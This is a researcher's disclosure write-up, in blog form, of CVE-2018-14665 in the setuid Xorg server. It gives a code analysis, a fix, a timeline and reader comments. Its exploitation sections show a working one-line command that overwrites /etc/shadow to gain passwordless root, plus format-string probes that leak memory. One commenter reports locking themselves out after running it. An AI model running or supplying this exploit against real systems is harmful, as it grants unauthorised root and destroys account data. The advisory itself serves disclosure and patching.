Thursday, October 25, 2018

CVE-2018-14665 : Xorg X Server Vulnerabilities

1.  Arbitrary File Overwrite Vulnerability Leads to Privilege Escalation


Details:
======

X.org X Server application is vulnerable to privilege escalation issue. X.org X Server  application allows lower privileged user to create or overwrite file anywhere on system , including files owned by privileged users (ex. /etc/shadow).

The attacker needs to have active console session to exploit this issue.

Test Targets:
===========
  CentOS-7
  [narendra@localhost ~]$ uname -a
  Linux localhost.localdomain 4.18.11-1.el7.elrepo.x86_64 #1 SMP Sat Sep 29 09:42:38 EDT 2018 x86_64 x86_64 xGNU/Linux

  Rhel-server-7.5
  root@localhost Dev]# uname -a
  Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux

Tested with X.Org X Server 1.19.5.

Analysis:
=======

On CentOS and RedHat server operating systems, X.org X server executable ( /usr/bin/Xorg ) is assigned with "root setuid" permission.
  [Dev@localhost ~]$ ls -la /usr/bin/Xorg
  -rwsr-xr-x. 1 root root 2409344 Apr 11 22:12 /usr/bin/Xorg
In X.org X server application, LogInit() function prepares setup for logging activities. X.org X server allows user to specify logfile name using "-logfile" option.

If file with same name as user provided "<logfile>" is already present on system then, its renamed to "<logfile>.old".

Once this is done a new file is created with user provided "<logfile>" name using fopen() call as below,

Xorg-Server/os/log.c
  244 const char *  
  245 LogInit(const char *fname, const char *backup)  
  246 {  
  247   char *logFileName = NULL;  
  248   
  249   if (fname && *fname) {  
  250     if (displayfd != -1) {  
  251       /* Display isn't set yet, so we can't use it in filenames yet. */  
  252       char pidstring[32];  
  253       snprintf(pidstring, sizeof(pidstring), "pid-%ld",  
  254           (unsigned long) getpid());  
  255       logFileName = LogFilePrep(fname, backup, pidstring);  
  256       saved_log_tempname = logFileName;  
  257   
  258       /* Save the patterns for use when the display is named. */  
  259       saved_log_fname = strdup(fname);  
  260       if (backup == NULL)  
  261         saved_log_backup = NULL;  
  262       else  
  263         saved_log_backup = strdup(backup);  
  264     } else  
  265       logFileName = LogFilePrep(fname, backup, display);  
  266     if ((logFile = fopen(logFileName, "w")) == NULL)  
  267       FatalError("Cannot open log file \"%s\"\n", logFileName);  
  268     setvbuf(logFile, NULL, _IONBF, 0);  
  269   
  270     logFileFd = fileno(logFile);  

The underlying open() syscall with umask permissionsdetails can be confirmed via strace -
  stat("mylogfile", 0x7ffcb9654ed0)      &n-1 ENOENT (No such file or directory)
  open("mylogfile", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
  rt_sigaction(SIGALRM, {0x55b6e2c2ca70, [ALRM], SA_RESTORER|SA_RESTART, 0x7fb0353036d0}, NULL, 8) = 0
From strace logs its confirmed that O_EXCL flag is not set, so fopen() will create or overwrite already present file.

Exploitation:
=========
For exploitation we need to use following 3 points -

1. fopen() syscall input is user-controlled filename value
2. fopen() will create or overwrite already present file
3. /usr/bin/Xorg executable is assigned with root "setuid" permissions

/etc/shadow file overwrite
  [Dev@localhost ~]$ uname -r
  
  3.10.0-862.el7.x86_64
  
  [Dev@localhost ~]$ Xorg -version
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  2.6.32-696.18.7.el6.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 13 February 2018  02:39:52PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
  Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
  
  [Dev@localhost ~]
  [Dev@localhost ~]$ id
  
  uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  
  [Dev@localhost ~]$
  [Dev@localhost ~]$ cd /etc
  [Dev@localhost etc]$ ls -la shadow
  
  ----------. 1 root root 1650 Oct  6 05:03 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow
  
  cat: shadow: Permission denied
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ Xorg -logfile shadow :1
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  2.6.32-696.18.7.el6.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 13 February 2018  02:39:52PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
      (++) from command line, (!!) notice, (II) informational,
      (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "shadow", Time: Sat Oct  6 21:54:13 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
  (II) Server terminated successfully (0). Closing log file.
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$
  [Dev@localhost etc]$ ls -la shadow
  
  -rw-r--r--. 1 root Dev 53901 Oct  6 21:54 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ head shadow
  
  [ 11941.870]
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  [ 11941.870] X Protocol Version 11, Revision 0
  [ 11941.870] Build Operating System:  2.6.32-696.18.7.el6.x86_64
  [ 11941.870] Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  [ 11941.870] Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  [ 11941.870] Build Date: 13 February 2018  02:39:52PM
  [ 11941.870] Build ID: xorg-x11-server 1.19.5-5.el7
  [ 11941.870] Current version of pixman: 0.34.0
  [Dev@localhost etc]$
Gain root privileges
  [Dev@localhost ~]$ id
  
  uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  
  [Dev@localhost ~]$
  [Dev@localhost ~]$ cd /etc
  [Dev@localhost etc]$
  [Dev@localhost etc]$ ls -la shadow
  
  ----------. 1 root root 1241 Oct 10 01:15 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow
  
  cat: shadow: Permission denied
 
  [Dev@localhost etc]$
  [Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1

  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:40:54PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
      Before reporting problems, check http://wiki.x.org
      to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
      (++) from command line, (!!) notice, (II) informational,
      (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "shadow", Time: Wed Oct 10 01:16:10 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
  (II) Server terminated successfully (0). Closing log file.
  
  [Dev@localhost etc]$ ls -la shadow
  
  -rw-r--r--. 1 root Dev 53897 Oct 10 01:16 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow | grep "root::"
  
      root::16431:0:99999:7:::
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$
  [Dev@localhost etc]$ su
  [root@localhost etc]#
  [root@localhost etc]# id
  
  uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2.  Format String Vulnerability 


Details:
======
X.org X Server application configuration option "-logfile" is vulnerable to format string vulnerability.

Analysis:
=======
The user controlled tainted data flow -

stubmain.c
 int dix_main(int argc, char *argv[], char *envp[]);
  /*
    A default implementation of main, which can be overridden by the DDX
   */

  int
  main(int argc, char *argv[], char *envp[])
  {
      return dix_main(argc, argv, envp);      // user controlled parameters in argv
dix/main.c
 int
  dix_main(int argc, char *argv[], char *envp[])
  {
    int i;
    HWEventQueueType alwaysCheckForInput[2];
    ....
    OsInit();      <=  /* Perform any operating system dependent initializations you'd like */
os/osinit.c
 void OsInit(void)
  {
      .....   
      /*
       * No log file by default.  OsVendorInit() should call LogInit() with the
       * log file name if logging to a file is desired.
       */

      OsVendorInit();
hw/xfree86/common/xf86Init.c
 void
  OsVendorInit(void)
  {
     ...
      if (!beenHere) {
          umask(022);
          xf86LogInit();
  }     
hw/xfree86/common/xf86Helper.c
  void
  xf86LogInit(void)
  {
      ...
      xf86LogFile = LogInit(xf86LogFile, LOGOLDSUFFIX);
os/log.c
  const char *
  LogInit(const char *fname, const char *backup)
  {
    ...
              logFileName = LogFilePrep(fname, backup, pidstring);
    ...
  }


  static char *
  LogFilePrep(const char *fname, const char *backup, const char *idstring)
  {
      char *logFileName = NULL;
      ...
  
      if (asprintf(&logFileName, fname, idstring) == -1)
          FatalError("Cannot allocate space for the log file name\n");
      ...

In above code, "fname" contains user controlled malicious input which is passed to asprintf() function results into format string vulnerability. 

Exploitation:
==========
Tested on CentOS 7
  [developer@localhost test]$ uname -a 
  
  Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  
  [developer@localhost test]$
  [developer@localhost test]$ 
  [developer@localhost test]$ Xorg -version 
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64 
  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:40:54PM
  Build ID: xorg-x11-server 1.19.5-5.el7 
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org
   to make sure that you have the latest version.
  
  [developer@localhost test]$ 
  [developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%s.%s.%s.%s.%s.%s.%s.%s.%s.%s :1
  
  (EE) 
  (EE) Backtrace:
  (EE) 0: /usr/bin/Xorg (xorg_backtrace+0x55) [0x55770e41f135]
  (EE) 1: /usr/bin/Xorg (0x55770e271000+0x1b1ec9) [0x55770e422ec9]
  (EE) 2: /lib64/libpthread.so.0 (0x7f1908866000+0xf6d0) [0x7f19088756d0]
  (EE) 3: /lib64/libc.so.6 (_IO_vfprintf+0x4a79) [0x7f19084e5f19]
  (EE) 4: /lib64/libc.so.6 (__vasprintf_chk+0xb5) [0x7f19085b1085]
  (EE) 5: /lib64/libc.so.6 (__asprintf_chk+0x82) [0x7f19085b0fc2]
  (EE) 6: /usr/bin/Xorg (0x55770e271000+0x1bb655) [0x55770e42c655]
  (EE) 7: /usr/bin/Xorg (LogInit+0x19f) [0x55770e42c92f]
  (EE) 8: /usr/bin/Xorg (xf86LogInit+0x47) [0x55770e310cc7]
  (EE) 9: /usr/bin/Xorg (OsVendorInit+0x29) [0x55770e307909]
  (EE) 10: /usr/bin/Xorg (OsInit+0x25a) [0x55770e4231aa]
  (EE) 11: /usr/bin/Xorg (0x55770e271000+0x578dc) [0x55770e2c88dc]
  (EE) 12: /lib64/libc.so.6 (__libc_start_main+0xf5) [0x7f19084bb445]
  (EE) 13: /usr/bin/Xorg (0x55770e271000+0x41c7e) [0x55770e2b2c7e]
  (EE) 
  (EE) Segmentation fault at address 0x5
  (EE) 
  Fatal server error:
  (EE) Caught signal 11 (Segmentation fault). Server aborting
  
  [developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx :1
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64 
  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:40:54PM
  Build ID: xorg-x11-server 1.19.5-5.el7 
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org
   to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
   (++) from command line, (!!) notice, (II) informational,
   (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "xf86LogFile.7fff8bf88556.7fff8bf85fa0.7fff8bf85e50.7fff8bf85010.0.5585766edf18.7efdfefd4e98.5.3000000030.7fff8bf84ff0", Time: Thu Oct 11 20:39:32 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  pci id for fd 15: 80ee:beef, driver (null)
  EGL_MESA_drm_image required.
  ^C(II) Server terminated successfully (0). Closing log file.
  
  developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%n.%n.%n.%n :1
  
  *** %n in writable segment detected ***
  (EE) 
  (EE) Backtrace:
  (EE) 0: /usr/bin/Xorg (xorg_backtrace+0x55) [0x563e94de6135]
  (EE) 1: /usr/bin/Xorg (0x563e94c38000+0x1b1ec9) [0x563e94de9ec9]
  (EE) 2: /lib64/libpthread.so.0 (0x7f0068f28000+0xf6d0) [0x7f0068f376d0]
  (EE) 3: /lib64/libc.so.6 (gsignal+0x37) [0x7f0068b91277]
  (EE) 4: /lib64/libc.so.6 (abort+0x148) [0x7f0068b92968]
  (EE) 5: /lib64/libc.so.6 (0x7f0068b5b000+0x78d37) [0x7f0068bd3d37]
  (EE) 6: /lib64/libc.so.6 (__libc_fatal+0x1e) [0x7f0068bd3e1e]
  (EE) 7: /lib64/libc.so.6 (_IO_vfprintf+0x2b76) [0x7f0068ba6016]
  (EE) 8: /lib64/libc.so.6 (__vasprintf_chk+0xb5) [0x7f0068c73085]
  (EE) 9: /lib64/libc.so.6 (__asprintf_chk+0x82) [0x7f0068c72fc2]
  (EE) 10: /usr/bin/Xorg (0x563e94c38000+0x1bb655) [0x563e94df3655]
  (EE) 11: /usr/bin/Xorg (LogInit+0x19f) [0x563e94df392f]
  (EE) 12: /usr/bin/Xorg (xf86LogInit+0x47) [0x563e94cd7cc7]
  (EE) 13: /usr/bin/Xorg (OsVendorInit+0x29) [0x563e94cce909]
  (EE) 14: /usr/bin/Xorg (OsInit+0x25a) [0x563e94dea1aa]
  (EE) 15: /usr/bin/Xorg (0x563e94c38000+0x578dc) [0x563e94c8f8dc]
  (EE) 16: /lib64/libc.so.6 (__libc_start_main+0xf5) [0x7f0068b7d445]
  (EE) 17: /usr/bin/Xorg (0x563e94c38000+0x41c7e) [0x563e94c79c7e]
  (EE) 
  (EE) 
  Fatal server error:
  (EE) Caught signal 6 (Aborted). Server aborting
  (EE) 
  (EE) 
  Please consult the The X.Org Foundation support at http://wiki.x.org for help. 
  (EE)

*** %n in writable segment detected ***  confirms that security hardening mechanism FORTIFY_SOURCE is enabled. So impact is minimized, this issue leads to sensitive system information leakage. 

Acknowledgments:
==============
I would like to thank X.org and Red Hat Product Security team.

Fix Information:
=============
https://lists.x.org/archives/xorg-announce/2018-October/002927.html
https://lists.x.org/archives/xorg-announce/2018-October/002928.html

Timeline:
========
2018-10-10: Contacted secalert@redhat.com
2018-10-12: Contacted X.org Team
2018-10-25: Coordinated Release Date (Time: 14:00 UTC)

9 comments:

  1. If we remove setuid bit to /usr/bin/Xorg does it fix that vulnerability or does it bring other problems with Xorg ?

    ReplyDelete
  2. That's what X.org suggested as a workaround. Please refer "workaround" section - https://www.openwall.com/lists/oss-security/2018/10/25/1.

    ReplyDelete
  3. Hey man, I just tried using the exploit you posted on Twitter and now I can't log back in to my account. When you overwrite the /etc/shadow file, what is the new password of your account?

    ReplyDelete
  4. If you are using " Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1" , no password is required for root user , just use "su" command.

    Yes, shadow file will be overwritten by garbage value so other users wont able to login. If needed, using root privileges you can revert your previous shadow file using backup located at /etc/shadow-.

    ReplyDelete
    Replies
    1. Unfortunately I only had the default user (osboxes). The only options I have at the moment is:

      1) Using the OS as a guest
      2) Accessing GRUB and becoming root with read-only file permissions.


      Do you have any more suggestions?

      Delete
    2. If possible, maybe you can try for liveCD mount. There are lot of articles on net about this.

      Delete
    3. Thanks man and sorry for annoying you

      Delete
  5. You did a great job. Thanks for including the code .

    ReplyDelete

Previous Posts